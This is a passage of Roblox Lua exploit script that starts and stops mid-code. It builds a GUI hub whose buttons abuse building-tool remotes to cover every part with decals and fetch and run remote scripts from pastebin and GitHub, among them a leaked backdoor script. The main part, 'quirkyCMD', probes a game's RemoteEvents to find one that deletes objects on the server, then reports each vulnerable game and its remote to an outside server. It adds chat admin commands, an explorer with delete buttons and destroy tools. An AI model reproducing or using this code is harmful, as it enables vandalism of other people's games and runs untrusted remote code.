[2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam(input.Text) end) end; task.spawn(C_ed); -- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript local function C_f4() local script = G2L["f4"]; local button = script.Parent button.MouseButton1Down:connect(function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] loadstring(game:HttpGet('https://pastebin.com/raw/jtNuZTYt'))() end) end; task.spawn(C_f4); -- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript local function C_f6() local script = G2L["f6"]; local button = script.Parent button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/JxcExploit/Harkedv2-script/main/Leaked-v2hardked"))() end) end; task.spawn(C_f6); -- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript local function C_f8() local script = G2L["f8"]; local button = script.Parent button.MouseButton1Down:connect(function() local remoteamount = 0 for i,v in pairs(game:GetDescendants()) do if v:IsA("RemoteEvent") then remoteamount = remoteamount + 1 v:FireServer() if v:IsA("BindableEvent") then remoteamount = remoteamount + 1 v:Fire() if v:IsA("RemoteFunction") then remoteamount = remoteamount + 1 v:InvokeServer() end end end end end) end; task.spawn(C_f8); -- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript local function C_fa() local script = G2L["fa"]; local button = script.Parent button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/P1ayeCf5"))() end) end; task.spawn(C_fa); -- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript local function C_fc() local script = G2L["fc"]; local button = script.Parent button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/main/Comet"))(); end) end; task.spawn(C_fc); -- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript local function C_fe() local script = G2L["fe"]; local button = script.Parent button.MouseButton1Down:connect(function() loadstring(game:HttpGet('https://raw.githubusercontent.com/Its-LALOL/LALOL-Hub/main/Backdoor-Scanner/script'))() end) end; task.spawn(C_fe); -- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript local function C_100() local script = G2L["100"]; local button = script.Parent button.MouseButton1Down:connect(function() local cloneref = cloneref or function(a) return a end local coreGui = cloneref(game:GetService("CoreGui")) local players = cloneref(game:GetService("Players")) local localPlayer = players.LocalPlayer local function isElevatedStudioPlugin() local s, r = pcall(function() return coreGui:GetChildren() end) return s end local gethui = gethui or function() local folder if isElevatedStudioPlugin() then if coreGui:WaitForChild("RobloxGui"):FindFirstChild(".__gethui") then folder = coreGui:WaitForChild("RobloxGui"):FindFirstChild(".__gethui") else folder = Instance.new("Folder") folder.Name = '.__gethui' folder.Parent = coreGui:WaitForChild("RobloxGui") end else folder = localPlayer:WaitForChild'PlayerGui' end return folder end local quirkycmd = Instance.new("ScreenGui", gethui()) quirkycmd.Name = "quirkyCMD" quirkycmd.IgnoreGuiInset = true quirkycmd.ScreenInsets = Enum.ScreenInsets.DeviceSafeInsets quirkycmd.ResetOnSpawn = false quirkycmd.ZIndexBehavior = Enum.ZIndexBehavior.Sibling local remotepath = Instance.new("TextLabel") remotepath.Name = "remotepath" remotepath.Text = "" remotepath.TextColor3 = Color3.fromRGB(255, 255, 255) remotepath.TextScaled = true remotepath.TextSize = 14 remotepath.TextTransparency = 0.6 remotepath.TextWrapped = true remotepath.BackgroundColor3 = Color3.fromRGB(0, 0, 0) remotepath.BackgroundTransparency = 0.6 remotepath.BorderColor3 = Color3.fromRGB(0, 0, 0) remotepath.BorderSizePixel = 0 remotepath.Position = UDim2.fromScale(0.396, 0.249) remotepath.Size = UDim2.fromScale(0.208, 0.044) local uicorner = Instance.new("UICorner") uicorner.Name = "UICorner" uicorner.CornerRadius = UDim.new(0, 3) uicorner.Parent = remotepath remotepath.Parent = quirkycmd local cmdbox = Instance.new("TextBox") cmdbox.Name = "cmdBox" cmdbox.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") cmdbox.PlaceholderText = "ERROR" cmdbox.Text = "" cmdbox.TextColor3 = Color3.fromRGB(200, 200, 200) cmdbox.TextScaled = true cmdbox.TextSize = 12 cmdbox.TextTruncate = Enum.TextTruncate.AtEnd cmdbox.TextWrapped = true cmdbox.BackgroundColor3 = Color3.fromRGB(22, 22, 22) cmdbox.BorderColor3 = Color3.fromRGB(59, 59, 59) cmdbox.BorderSizePixel = 3 cmdbox.Position = UDim2.fromScale(0.396, 0.25) cmdbox.Size = UDim2.fromScale(0.208, 0.0441) local uitextsizeconstraint = Instance.new("UITextSizeConstraint") uitextsizeconstraint.Name = "UITextSizeConstraint" uitextsizeconstraint.MaxTextSize = 18 uitextsizeconstraint.Parent = cmdbox cmdbox.Parent = quirkycmd local mobileopen = Instance.new("TextButton") mobileopen.Name = "mobileOpen" mobileopen.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") mobileopen.Text = "CMD" mobileopen.TextColor3 = Color3.fromRGB(200, 200, 200) mobileopen.TextScaled = true mobileopen.TextSize = 14 mobileopen.TextWrapped = true mobileopen.AnchorPoint = Vector2.new(1, 0) mobileopen.BackgroundColor3 = Color3.fromRGB(22, 22, 22) mobileopen.BorderColor3 = Color3.fromRGB(0, 0, 0) mobileopen.BorderSizePixel = 0 mobileopen.Position = UDim2.fromScale(1, 0.25) mobileopen.Size = UDim2.fromScale(0.0346, 0.0734) local uicorner1 = Instance.new("UICorner") uicorner1.Name = "UICorner" uicorner1.CornerRadius = UDim.new(0, 3) uicorner1.Parent = mobileopen mobileopen.Parent = quirkycmd local cmds = Instance.new("Frame") cmds.Name = "cmds" cmds.Active = true cmds.BackgroundColor3 = Color3.fromRGB(255, 255, 255) cmds.BorderColor3 = Color3.fromRGB(0, 0, 0) cmds.BorderSizePixel = 0 cmds.Position = UDim2.fromScale(0.446, 0.305) cmds.Size = UDim2.fromScale(0.108, 0.389) cmds.Parent = quirkycmd local cmdlist = Instance.new("ScrollingFrame") cmdlist.Name = "cmdList" cmdlist.AutomaticCanvasSize = Enum.AutomaticSize.Y cmdlist.CanvasSize = UDim2.new() cmdlist.ScrollBarThickness = 8 cmdlist.ScrollingDirection = Enum.ScrollingDirection.Y cmdlist.BackgroundColor3 = Color3.fromRGB(22, 22, 22) cmdlist.BorderColor3 = Color3.fromRGB(0, 0, 0) cmdlist.BorderSizePixel = 0 cmdlist.Position = UDim2.fromScale(0, 0.0566) cmdlist.Size = UDim2.fromScale(1, 0.943) local template = Instance.new("TextLabel") template.Name = "template" template.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") template.Text = "error occured, dm quirky" template.TextColor3 = Color3.fromRGB(200, 200, 200) template.TextScaled = true template.TextSize = 14 template.TextWrapped = true template.BackgroundColor3 = Color3.fromRGB(255, 255, 255) template.BackgroundTransparency = 1 template.BorderColor3 = Color3.fromRGB(0, 0, 0) template.BorderSizePixel = 0 template.Size = UDim2.fromScale(0.9, 0.1) template.Parent = cmdlist local uilistlayout = Instance.new("UIListLayout") uilistlayout.Name = "UIListLayout" uilistlayout.Padding = UDim.new(0, 5) uilistlayout.SortOrder = Enum.SortOrder.LayoutOrder uilistlayout.Parent = cmdlist cmdlist.Parent = cmds local closebutton = Instance.new("TextButton") closebutton.Name = "closeButton" closebutton.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json") closebutton.Text = "Close" closebutton.TextColor3 = Color3.fromRGB(255, 255, 255) closebutton.TextScaled = true closebutton.TextSize = 14 closebutton.TextWrapped = true closebutton.Active = false closebutton.BackgroundColor3 = Color3.fromRGB(0, 0, 0) closebutton.BorderColor3 = Color3.fromRGB(0, 0, 0) closebutton.BorderSizePixel = 0 closebutton.Size = UDim2.fromScale(1, 0.0566) closebutton.Parent = cmds if not game:IsLoaded() then game.Loaded:Wait() end --[[Variables]]-- local debugOutput = true local checkTime = 0.33 local UGCVS = game:GetService("UGCValidationService") local uis = game:GetService("UserInputService") local sgui = game:GetService("StarterGui") local rs = game:GetService("RunService") local rStorage = game:GetService("ReplicatedStorage") local players = game:GetService("Players") local genv = (getgenv and (getgenv() ~= getfenv()) and getgenv()) or _G local gethiddenproperty = gethiddenproperty or (pcall(UGCVS.GetPropertyValue,UGCVS,workspace,"Name") and function(i, v) return UGCVS:GetPropertyValue(i, v) end) local sethiddenproperty = sethiddenproperty or function(inst,i,v) inst[i] = v end local isnetworkowner = isnetworkowner or function(part) return part.ReceiveAge == 0 end local isMobile = uis.TouchEnabled local isTesting = game.PlaceId == 16245218863 local modernChat = game:GetService("TextChatService").ChatVersion == Enum.ChatVersion.TextChatService local chatEvents = (not modernChat) and rStorage:FindFirstChild("DefaultChatSystemChatEvents") local mobileOffset = isMobile and 0.25 or 0 local prefix = ";" local prefixEnum = Enum.KeyCode.Semicolon -- credits to itzyaboyluq on github for the word list local wordList = {"delete", "remove", "destroy", "clean", "clear","bullet", "bala", "shoot", "shot", "fire", "segway", "handless", "sword", "attack", "despawn", "deletar", "apagar"} local localPlayer = players.LocalPlayer local camera = workspace.CurrentCamera local mouse = localPlayer:GetMouse() local character = localPlayer.Character or localPlayer.CharacterAdded:Wait() local bodyColors = character:WaitForChild("Body Colors",0.1) or character:WaitForChild("Head"):WaitForChild("HatAttachment",0.1) or character:WaitForChild("Head") if not bodyColors then return error("no test instance found") end local gui = quirkycmd or localPlayer:FindFirstChildOfClass("PlayerGui"):FindFirstChild("quirkyCMD") local box = gui:WaitForChild("cmdBox") local mobileButton = gui:WaitForChild("mobileOpen") local cmdsFrame = gui:WaitForChild("cmds") local cmdsList = cmdsFrame:WaitForChild("cmdList") local cmdTemplate = cmdsList:WaitForChild("template") local closeButton = cmdsFrame:WaitForChild("closeButton") local remotePath = gui:WaitForChild("remotepath") local visible = false genv.connections = {} local commands = {} local remotes = {} local services = {} local privilegeLevels = {} local rankNames = {"admin", "owner", "local"} local bans = {} local loopkills = {} local infected = {} local killauras = {} local wslocks = {} local slockEnabled = false local inDatabase = false local atts = { "BodyProportionScale", "BodyWidthScale", "BodyHeightScale", "BodyDepthScale", "HeadScale", "BodyTypeScale" } local limbs = { "arm", "leg", "foot" } local function httpget(url) if isTesting then return rStorage:WaitForChild("request"):InvokeServer(url) end return game:HttpGet(url) end -- credits to littlemike57 (uuid 3099053) on v3rmillion local Iris local irisCoroutine if isTesting then irisCoroutine = coroutine.create(function() Iris = require(game:GetService("ReplicatedStorage"):WaitForChild("iris")).Init() end) else irisCoroutine = coroutine.create(function() Iris = loadstring(httpget("https://raw.githubusercontent.com/someunknowndude/Iris-Exploit-Bundle/main/bundle.lua"))().Init() end) end coroutine.resume(irisCoroutine) --[[Add test game compatability]]-- if isTesting then function loadstring(src) return require(rStorage:WaitForChild("Loadstring"))(src) end local files = localPlayer.PlayerGui:WaitForChild("workspace") function isfile(str) local str = str or "" return files:FindFirstChild(str) and true or false end function writefile(str,txt) local str = str or "" local val = isfile(str) and files[str] or Instance.new("StringValue", files) val.Name = str val.Value = txt end function readfile(str) local str = str or "" if not files:FindFirstChild(str) then return error("file " .. str .. " does not exist") end return files[str].Value end function listfiles(str) local res = {} for i,v in pairs(files:GetChildren()) do table.insert(res, v.Name) end return res end function loadfile(str) local str = str or "" if not files:FindFirstChild(str) then return error("file " .. str .. " does not exist") end return loadstring(files[str].Value) end end --[[Prepare UI]]-- cmdsFrame.Visible = false cmdTemplate.Visible = false mobileButton.Visible = false box.Position = UDim2.new(0.5 - box.Size.X.Scale/2, 0,1,50) --[[Set up admin system logic]]-- for i,v in pairs(players:GetPlayers()) do privilegeLevels[v.Name] = 0 end privilegeLevels[localPlayer.Name] = 3 table.insert(genv.connections, players.PlayerAdded:Connect(function(plr) privilegeLevels[plr.Name] = 0 end)) table.insert(genv.connections, players.PlayerRemoving:Connect(function(plr) privilegeLevels[plr.Name] = nil end)) --[[Misc. functions]]-- function debugPrint(...) if not debugOutput then return end warn(...) end debugPrint("loaded UI") function notify(title,text,duration) sgui:SetCore("SendNotification", { Title = title or "", Text = text or "", Duration = duration or 5 }) end local function getKeyCode(char) local char = char:lower() local byte = char:byte() for i,v in pairs(Enum.KeyCode:GetEnumItems()) do local value = v.Value if value ~= byte then continue end return v end end function findPlayers(input) if input == nil or input == "" then return {localPlayer} end local input = input:lower() local players = players:GetPlayers() local targets = {} if input == "me" then return {localPlayer} end if input == "all" then return players end if input == "others" then targets = players table.remove(targets,1) return targets end if input == "random" then return {players[math.random(1,#players)]} end for i,v in pairs(players) do local plrName = v.Name:lower() local plrDisplayName = v.DisplayName:lower() if not (plrName:find(input) or plrDisplayName:find(input)) then continue end table.insert(targets, v) end return targets end function abort() for i,v in pairs(genv.connections) do if typeof(v) == "Instance" then v:Destroy() continue end v:Disconnect() end gui:Destroy() if modernChat then game:GetService("TextChatService").TextChannels["RBXGeneral"].OnIncomingMessage = nil end if Iris then Iris.Disabled = true end coroutine.yield(irisCoroutine) end local function lerp(a, b, m) return a + (b - a) * m end --[[Update variables]]-- table.insert(genv.connections, localPlayer.CharacterAdded:Connect(function(char) character = char bodyColors = char:WaitForChild("Body Colors", 0.1) or char:WaitForChild("Head"):WaitForChild("HatAttachment", 0.1) or char:WaitForChild("Head") end)) --[[Add command bar hide/show logic]]-- local function toggleBar(focus) visible = not visible if visible then box:TweenPosition(UDim2.new(0.5 - box.Size.X.Scale/2, 0,.25,0),Enum.EasingDirection.Out,Enum.EasingStyle.Back, 0.1,true,function() if focus then box:CaptureFocus() end end) return end box:TweenPosition(UDim2.new(0.5 - box.Size.X.Scale/2, 0,1,50),Enum.EasingDirection.Out,Enum.EasingStyle.Linear, 0.05,true) end table.insert(genv.connections, uis.InputBegan:Connect(function(input, processed) if processed and uis:GetFocusedTextBox() ~= box then return end if input.KeyCode ~= prefixEnum then return end toggleBar(true) if visible then return end box:ReleaseFocus() end)) --[[Find destroy remote & save to working games list]]-- local remoteJSON local function hasFiles() return (isfile and readfile and writefile) end local function getGameList() if not isfile("quirky games.json") then writefile("quirky games.json", "[]") return {} end local content = readfile("quirky games.json") return game:GetService("HttpService"):JSONDecode(content) end local function checkFile() if not hasFiles() then return end for i,v in pairs(getGameList()) do if i ~= tostring(game.PlaceId) then continue end for _, instance in pairs(game:GetDescendants()) do if not (instance:IsA("RemoteEvent") and instance.Name == v) then continue end genv.foundRemote = instance remotePath.Visible = false break end end end local function sendGame() spawn(function() local res, err res,err = pcall(function() httpget("https://eli.serv00.net/addgame.php?id=" .. tostring(game.PlaceId) .. "&remote=" .. genv.foundRemote.Name) end) if res then return end -- retry game log if first one failed pcall(function() httpget("https://eli.serv00.net/addgame.php?id=" .. tostring(game.PlaceId) .. "&remote=" .. genv.foundRemote.Name) end) end) end local function logGameLocally() local games = getGameList() games[tostring(game.PlaceId)] = genv.foundRemote.Name writefile("quirky games.json", game:GetService("HttpService"):JSONEncode(games)) sendGame() end local function checkDatabase() local res, succ, err, remoteJSON succ, err = pcall(function() res = httpget("https://eli.serv00.net/checkgame.php?id="..tostring(game.PlaceId)) remoteJSON = game:GetService("HttpService"):JSONDecode(res) end) if not succ then return debugPrint("database check failed:", err) end local success = remoteJSON["success"] local result = remoteJSON["result"] if success then debugPrint(result) inDatabase = true if genv.foundRemote then return end for _, instance in pairs(game:GetDescendants()) do if not (instance:IsA("RemoteEvent") and instance.Name == result) then continue end genv.foundRemote = instance remotePath.Visible = false break end end end debugPrint("initialised vars and funcs") checkFile() task.spawn(checkDatabase) remotePath.Text = "checking database..." task.wait(0.25) if not genv.foundRemote then for i,service in pairs(game:GetChildren()) do if service.ClassName == "ReplicatedStorage" or service.ClassName == "Workspace" then continue end table.insert(services, service) end local function checkRemote(remote) debugPrint(remote.Name) remotePath.Text = remote:GetFullName() local currentBC = bodyColors local currentChar = character remote:FireServer(bodyColors) task.wait(checkTime + mobileOffset + (localPlayer:GetNetworkPing()*2)) if (#currentChar:GetChildren() < 7) or (#character:GetChildren() < 7) or (currentChar ~= localPlayer.Character) or (currentBC ~= bodyColors) or (bodyColors.Parent == character) or (currentBC.Parent == character) then return end genv.foundRemote = remote debugPrint("found!") remotePath.TextColor3 = Color3.new(0,1,0) task.wait(.5) remotePath.Visible = false return true end local function scan(instance, softScan) checkTime = softScan and 0.75 or 0.5 for i,v in pairs(instance:GetDescendants()) do if genv.foundRemote then return end if not v:IsA("RemoteEvent") then continue end if v:FindFirstChild("__FUNCTION") then continue end table.insert(remotes, v) if softScan then for _, phrase in pairs(wordList) do if not v.Name:lower():find(phrase) then continue end checkRemote(v) end continue end checkRemote(v) end end if not genv.foundRemote then debugPrint("soft rs") scan(rStorage, true) end if not genv.foundRemote then debugPrint("soft pgui") scan(localPlayer:FindFirstChildOfClass("PlayerGui"), true) end if not genv.foundRemote then debugPrint("soft ws") scan(workspace, true) end if not genv.foundRemote then debugPrint("aggro rs") scan(rStorage, false) end if not genv.foundRemote then debugPrint("aggro pgui") scan(localPlayer:FindFirstChildOfClass("PlayerGui"), false) end if not genv.foundRemote then debugPrint("aggro ws") scan(workspace, false) end if not genv.foundRemote then debugPrint("aggro all") for i,v in pairs(services) do scan(v, false) end end end if not genv.foundRemote then remotePath.Text = "no remote found, aborting..." task.wait(3) gui:Destroy() return debugPrint("no silly remote found :( try a game from #confirmed-games in the server") end if hasFiles() and getGameList()[tostring(game.PlaceId)] == nil then logGameLocally() end function delete(instance) genv.foundRemote:FireServer(instance) debugPrint("deleted instance " .. instance.Name) end genv.delete = genv.delete or delete toggleBar(false) --[[Add mobile support]]-- if isMobile then debugPrint("adding mobile compatability") mobileButton.Visible = true box.Position = UDim2.new(0.5 - box.Size.X.Scale/2, 0,1,50) --[[Add button functionality]]-- mobileButton.MouseButton1Click:Connect(function() toggleBar(true) end) --[[Add drag functionality]]-- local dragging local dragInput local dragStart local startPos local lastMousePos local lastGoalPos local dragSpeed = 20 local function update(dt) if not (startPos) then return end local snap = (mouse.ViewSizeX - mouse.X) <= mouse.ViewSizeX/2 and 1 or mobileButton.Size.X.Scale if not (dragging) and (lastGoalPos) then mobileButton.Position = UDim2.new(lastGoalPos.X.Scale, 0, startPos.Y.Scale, lerp(mobileButton.Position.Y.Offset, lastGoalPos.Y.Offset, dt * dragSpeed)) return end local delta = (lastMousePos - uis:GetMouseLocation()) local xGoal = (startPos.X.Offset - delta.X) local yGoal = (startPos.Y.Offset - delta.Y) lastGoalPos = UDim2.new(snap,0, startPos.Y.Scale, yGoal) mobileButton.Position = UDim2.new(snap ,0, startPos.Y.Scale, lerp(mobileButton.Position.Y.Offset, yGoal, dt * dragSpeed)) end mobileButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = mobileButton.Position lastMousePos = uis:GetMouseLocation() input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) mobileButton.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) table.insert(genv.connections,rs.Heartbeat:Connect(update)) end --[[Add command logic]]-- function addCommand(cmdName, callback, aliases, securityLevel) table.insert(commands,{ name = cmdName:lower(), callback = callback, aliases = aliases or {}, securityLevel = securityLevel or 3 }) end function runCommand(cmdName, ...) if type(cmdName) == "table" then cmdName.callback(...) return end for i,v in pairs(commands) do if (v.name ~= cmdName) and (not table.find(v.aliases, cmdName)) then continue end v.callback(...) break end end local function handleCommand(text, caller) local split = text:split(" ") local enteredCommand = split[1] local command local target = split[2] or caller.Name local input = table.concat(split, " ", 2, #split) for i,v in pairs(commands) do -- bad implementation, might rewrite cmd handling again if (v.name ~= enteredCommand) and (not table.find(v.aliases,enteredCommand)) then continue end command = v break end if not command then return end local commandLevel = command.securityLevel local callerLevel = privilegeLevels[caller.Name] if callerLevel < commandLevel then return end runCommand(command, findPlayers(target), input) end --[[Add chat command functionality]]-- local function handleChat(data) local message = modernChat and data.Text or data.Message local plr = modernChat and players:GetPlayerByUserId(data.TextSource.UserId) or players:FindFirstChild(data.FromSpeaker) local rank = privilegeLevels[plr.Name] if rank == 0 then return end local starter = message:sub(1,1) if starter ~= prefix then return end handleCommand(message:sub(2,-1), plr) end if modernChat then game:GetService("TextChatService").TextChannels["RBXGeneral"].OnIncomingMessage = function(data) handleChat(data) end else local messageEvent = chatEvents and chatEvents:FindFirstChild("OnMessageDoneFiltering") if messageEvent then table.insert(genv.connections, chatEvents and messageEvent.OnClientEvent:Connect(handleChat)) end end --[[Add command bar functionality]]-- table.insert(genv.connections,box.FocusLost:Connect(function(enterPressed) if visible then toggleBar() end if not enterPressed then return end handleCommand(box.Text, localPlayer) end)) --[[Add plugin support]]-- if listfiles and hasFiles() then local success, files = pcall(listfiles,"/") if success and type(files) == "table" then for i,v in pairs(files) do if v:sub(-5,-1) ~= ".qcmd" then continue end task.spawn(loadstring(readfile(v))) -- why does nothing support loadfile :sob: end end end --[[Create commands]]-- addCommand("cmds", function() cmdsFrame.Visible = true end, {"commands"}, 3) addCommand("setprefix", function(plrs,newPrefix) local char = newPrefix:sub(1,1) if char == "" then prefix = ";" return end prefix = char prefixEnum = getKeyCode(char) end, {"prefix"}, 3) addCommand("setbind", function() uis.InputBegan:Wait() -- fires Return KeyCode local enum = uis.InputBegan:Wait().KeyCode prefixEnum = enum end, {"bind"}, 3) addCommand("admin", function(plrs) for i,v in pairs(plrs) do if v == localPlayer then continue end privilegeLevels[v.Name] = 1 debugPrint(`{v.Name} has been made an admin`) end end, {"addadmin"}, 2) addCommand("unadmin", function(plrs) for i,v in pairs(plrs) do if v == localPlayer then continue end privilegeLevels[v.Name] = 0 debugPrint(`{v.Name} is no longer an admin`) end end, {"removeadmin"}, 2) addCommand("owner", function(plrs) for i,v in pairs(plrs) do if v == localPlayer then continue end privilegeLevels[v.Name] = 2 debugPrint(`{v.Name} has been made an owner`) end end, {"addowner", "op"}, 3) addCommand("unowner", function(plrs) for i,v in pairs(plrs) do if v == localPlayer then continue end privilegeLevels[v.Name] = 0 debugPrint(`{v.Name} is no longer an owner`) end end, {"removeowner", "deop"}, 3) addCommand("ranks", function() local printString = "\nQuirkyCMD ranks:\n" for name,level in pairs(privilegeLevels) do if level == 0 then continue end local plr = players:FindFirstChild(name) if not plr then continue end local displayName = plr.DisplayName local rank = rankNames[level] local entryString = "" printString ..= `{displayName}` .. ((name ~= displayName and ` (@{name})`) or "") .. ` - {rank}\n` end print(printString) end, {"admins", "owners"}, 3) addCommand("aliases", function() local printString = "\nQuirkyCMD command aliases:\n" for i,v in pairs(commands) do local aliases = v.aliases if #aliases == 0 then continue end local aliasString = "" for index, alias in pairs(aliases) do aliasString ..= alias .. (index == #aliases and "" or ", ") end printString ..= `{v.name}: [{aliasString}]\n` end print(printString) end, {}, 3) addCommand("explorer", function() local function addTree(Instance) local InstTree = Iris.Tree({Instance.Name}) Iris.SameLine() do if Iris.SmallButton({"Delete"}).clicked then delete(Instance) end if Iris.SmallButton({"Clear children"}).clicked then for i,v in pairs(Instance:GetChildren()) do delete(v) end end Iris.End() end if InstTree.state.isUncollapsed.value then for i,v in pairs(Instance:GetChildren()) do addTree(v) end end Iris.End() end Iris:Connect(function() Iris.Window({"QCMD Explorer", [Iris.Args.Window.NoClose] = false}, {size = Iris.State(Vector2.new(200, 300)), position = Iris.State(Vector2.new(500, 75))}) do local priorityServices = {"Workspace", "Lighting", "Players", "ReplicatedStorage", "StarterPlayer", "StarterPack", "StarterGui"} for i,v in pairs(priorityServices) do addTree(game:GetService(v)) end for i,v in pairs(game:GetChildren()) do if table.find(priorityServices, v.ClassName) then continue end addTree(v) end Iris.End() end end) end, {"dex"}, 3) addCommand("goto", function(plrs) local target local part for i,v in pairs(plrs) do local tChar = v.Character if not tChar then continue end part = tChar:FindFirstChild("HumanoidRootPart") or tChar:FindFirstChild("Head") or tChar:FindFirstChild("Torso") or tChar:FindFirstChild("LowerTorso") or tChar:FindFirstChildOfClass("BasePart") if not part then continue end break end if not part then return end character:PivotTo(part.CFrame * CFrame.new(0,0,2)) end, {"to"}, 3) local viewConnection addCommand("view", function(plrs) local target for i,v in pairs(plrs) do local char = v.Character if not char then continue end local hum = char:FindFirstChild("Humanoid") or char:FindFirstChild("HumanoidRootPart") if not hum then continue end target = hum break end if not target then return end if viewConnection then viewConnection:Disconnect() end viewConnection = players[target.Parent.Name].CharacterAdded:Connect(function(char) local hum = char:WaitForChild("Humanoid") if not hum then return end camera.CameraSubject = hum end) table.insert(genv.connections,viewConnection) camera.CameraSubject = target end, {"spectate"}, 3) addCommand("unview", function(plrs) if viewConnection then viewConnection:Disconnect() end camera.CameraSubject = character.Humanoid or character:FindFirstChildOfClass("BasePart") end, {}, 3) addCommand("rejoin", function() if #players:GetPlayers() <= 1 then localPlayer:Kick("Rejoining!!") task.wait(.1) game:GetService("TeleportService"):Teleport(game.PlaceId, localPlayer) return end game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,game.JobId,localPlayer) end, {"rj"}, 3) addCommand("reset", function() local hum = character:FindFirstChild("Humanoid") local hrp = character:FindFirstChild("HumanoidRootPart") or hum and hum.RootPart local oldPosition = hrp and hrp.CFrame for i,v in pairs(character:GetChildren()) do if not v:IsA("Part") then continue end v.CFrame = CFrame.new(0, workspace.FallenPartsDestroyHeight+5,0) end task.wait(.1) if hum then hum:ChangeState(Enum.HumanoidStateType.Dead) end character:BreakJoints() if not oldPosition then return end local newHrp = localPlayer.CharacterAdded:Wait():WaitForChild("HumanoidRootPart") newHrp.CFrame = oldPosition end, {"re", "respawn"}, 3) addCommand("btools", function() sgui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true) if localPlayer.Backpack:FindFirstChild("wacky destroy tool") or (character and character:FindFirstChild("wacky destroy tool")) then return end local selection local destroyTool = Instance.new("Tool", localPlayer.Backpack) destroyTool.RequiresHandle = false destroyTool.CanBeDropped = false destroyTool.Name = "wacky destroy tool" destroyTool.ToolTip = "Click to destroy" destroyTool.TextureId = "rbxasset://Textures/Hammer.png" local selectionLoop destroyTool.Equipped:Connect(function() selection = Instance.new("SelectionBox",localPlayer.PlayerGui) table.insert(genv.connections, selection) selectionLoop = rs.Heartbeat:Connect(function() local target = mouse.Target if target == nil then selection.Adornee = nil return end if selection.Parent == nil then return end selection.Adornee = target end) table.insert(genv.connections, selectionLoop) end) destroyTool.Unequipped:Connect(function() if not selection then return end selection:Destroy() end) destroyTool.Activated:Connect(function() local target = mouse.Target if target == nil then return end delete(target) end) local unweldTool = Instance.new("Tool", localPlayer.Backpack) unweldTool.RequiresHandle = false unweldTool.CanBeDropped = false unweldTool.Name = "wacky unweld tool" unweldTool.ToolTip = "Click to unweld" unweldTool.TextureId = "rbxassetid://4989743039" local selectionLoop unweldTool.Equipped:Connect(function() selection = 